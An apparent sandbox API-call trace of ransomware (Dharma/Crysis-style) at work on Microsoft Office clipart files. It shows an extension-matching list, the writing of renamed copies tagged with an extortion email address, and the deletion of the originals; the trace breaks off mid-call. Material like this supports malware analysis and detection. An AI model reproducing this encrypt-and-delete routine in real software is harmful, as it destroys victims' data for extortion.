lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0305.295] lstrlenW (lpString=".1cd") returned 4 [0305.295] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0305.295] lstrlenW (lpString=".jpg") returned 4 [0305.295] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.295] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.295] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.296] GetLastError () returned 0x0 [0305.296] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0305.305] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0305.307] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.307] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.307] SetEndOfFile (hFile=0x344) returned 1 [0305.308] CloseHandle (hObject=0x344) returned 1 [0305.308] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.308] SetEndOfFile (hFile=0x364) returned 1 [0305.309] CloseHandle (hObject=0x364) returned 1 [0305.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0305.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0305.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0305.310] lstrlenW (lpString=".doc") returned 4 [0305.310] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.310] lstrlenW (lpString=".docx") returned 5 [0305.310] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0305.310] lstrlenW (lpString=".pdf") returned 4 [0305.310] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.310] lstrlenW (lpString=".xls") returned 4 [0305.310] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.310] lstrlenW (lpString=".xlsx") returned 5 [0305.310] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0305.311] lstrlenW (lpString=".ppt") returned 4 [0305.311] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0305.311] lstrlenW (lpString=".zip") returned 4 [0305.311] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.311] lstrlenW (lpString=".rar") returned 4 [0305.311] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.311] lstrlenW (lpString=".bz2") returned 4 [0305.311] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.311] lstrlenW (lpString=".7z") returned 3 [0305.311] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0305.311] lstrlenW (lpString=".dbf") returned 4 [0305.311] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0305.311] lstrlenW (lpString=".1cd") returned 4 [0305.311] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0305.311] lstrlenW (lpString=".jpg") returned 4 [0305.311] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.312] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.312] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.313] GetLastError () returned 0x0 [0305.313] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1367, lpOverlapped=0x0) returned 1 [0305.322] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1370, lpOverlapped=0x0) returned 1 [0305.324] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.324] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.324] SetEndOfFile (hFile=0x344) returned 1 [0305.324] CloseHandle (hObject=0x344) returned 1 [0305.324] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.324] SetEndOfFile (hFile=0x364) returned 1 [0305.325] CloseHandle (hObject=0x364) returned 1 [0305.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0305.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0305.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0305.326] lstrlenW (lpString=".doc") returned 4 [0305.326] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.326] lstrlenW (lpString=".docx") returned 5 [0305.326] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0305.326] lstrlenW (lpString=".pdf") returned 4 [0305.326] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.326] lstrlenW (lpString=".xls") returned 4 [0305.327] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.327] lstrlenW (lpString=".xlsx") returned 5 [0305.327] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0305.327] lstrlenW (lpString=".ppt") returned 4 [0305.327] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0305.327] lstrlenW (lpString=".zip") returned 4 [0305.327] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.327] lstrlenW (lpString=".rar") returned 4 [0305.327] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.327] lstrlenW (lpString=".bz2") returned 4 [0305.327] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.327] lstrlenW (lpString=".7z") returned 3 [0305.327] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0305.327] lstrlenW (lpString=".dbf") returned 4 [0305.327] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0305.327] lstrlenW (lpString=".1cd") returned 4 [0305.327] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0305.327] lstrlenW (lpString=".jpg") returned 4 [0305.327] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.328] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.328] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.329] GetLastError () returned 0x0 [0305.329] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xf40, lpOverlapped=0x0) returned 1 [0305.450] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xf50, lpOverlapped=0x0) returned 1 [0305.509] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.509] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.509] SetEndOfFile (hFile=0x344) returned 1 [0305.510] CloseHandle (hObject=0x344) returned 1 [0305.510] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.510] SetEndOfFile (hFile=0x364) returned 1 [0305.511] CloseHandle (hObject=0x364) returned 1 [0305.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0305.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0305.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0305.512] lstrlenW (lpString=".doc") returned 4 [0305.512] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.512] lstrlenW (lpString=".docx") returned 5 [0305.512] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0305.512] lstrlenW (lpString=".pdf") returned 4 [0305.512] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.512] lstrlenW (lpString=".xls") returned 4 [0305.512] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.512] lstrlenW (lpString=".xlsx") returned 5 [0305.512] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0305.512] lstrlenW (lpString=".ppt") returned 4 [0305.512] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0305.512] lstrlenW (lpString=".zip") returned 4 [0305.512] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.512] lstrlenW (lpString=".rar") returned 4 [0305.512] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.512] lstrlenW (lpString=".bz2") returned 4 [0305.512] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.512] lstrlenW (lpString=".7z") returned 3 [0305.512] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0305.512] lstrlenW (lpString=".dbf") returned 4 [0305.512] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0305.512] lstrlenW (lpString=".1cd") returned 4 [0305.512] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0305.513] lstrlenW (lpString=".jpg") returned 4 [0305.513] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.513] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.513] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.514] GetLastError () returned 0x0 [0305.514] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.516] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.518] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.518] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.518] SetEndOfFile (hFile=0x344) returned 1 [0305.518] CloseHandle (hObject=0x344) returned 1 [0305.518] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.518] SetEndOfFile (hFile=0x364) returned 1 [0305.519] CloseHandle (hObject=0x364) returned 1 [0305.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0305.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0305.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0305.520] lstrlenW (lpString=".doc") returned 4 [0305.520] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString=".docx") returned 5 [0305.521] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0305.521] lstrlenW (lpString=".pdf") returned 4 [0305.521] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString=".xls") returned 4 [0305.521] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString=".xlsx") returned 5 [0305.521] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0305.521] lstrlenW (lpString=".ppt") returned 4 [0305.521] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0305.521] lstrlenW (lpString=".zip") returned 4 [0305.521] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString=".rar") returned 4 [0305.521] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString=".bz2") returned 4 [0305.521] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString=".7z") returned 3 [0305.521] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0305.521] lstrlenW (lpString=".dbf") returned 4 [0305.521] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0305.521] lstrlenW (lpString=".1cd") returned 4 [0305.521] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0305.521] lstrlenW (lpString=".jpg") returned 4 [0305.521] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.522] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.522] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.523] GetLastError () returned 0x0 [0305.523] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0305.525] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0305.527] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.527] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.527] SetEndOfFile (hFile=0x344) returned 1 [0305.528] CloseHandle (hObject=0x344) returned 1 [0305.528] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.528] SetEndOfFile (hFile=0x364) returned 1 [0305.529] CloseHandle (hObject=0x364) returned 1 [0305.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0305.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0305.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0305.530] lstrlenW (lpString=".doc") returned 4 [0305.530] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.530] lstrlenW (lpString=".docx") returned 5 [0305.530] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0305.530] lstrlenW (lpString=".pdf") returned 4 [0305.530] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.530] lstrlenW (lpString=".xls") returned 4 [0305.530] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.530] lstrlenW (lpString=".xlsx") returned 5 [0305.530] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0305.530] lstrlenW (lpString=".ppt") returned 4 [0305.530] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0305.530] lstrlenW (lpString=".zip") returned 4 [0305.530] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.531] lstrlenW (lpString=".rar") returned 4 [0305.531] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.531] lstrlenW (lpString=".bz2") returned 4 [0305.531] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.531] lstrlenW (lpString=".7z") returned 3 [0305.531] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0305.531] lstrlenW (lpString=".dbf") returned 4 [0305.531] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0305.531] lstrlenW (lpString=".1cd") returned 4 [0305.531] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0305.531] lstrlenW (lpString=".jpg") returned 4 [0305.531] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.531] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.531] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.532] GetLastError () returned 0x0 [0305.532] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0305.535] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0305.536] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.536] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, 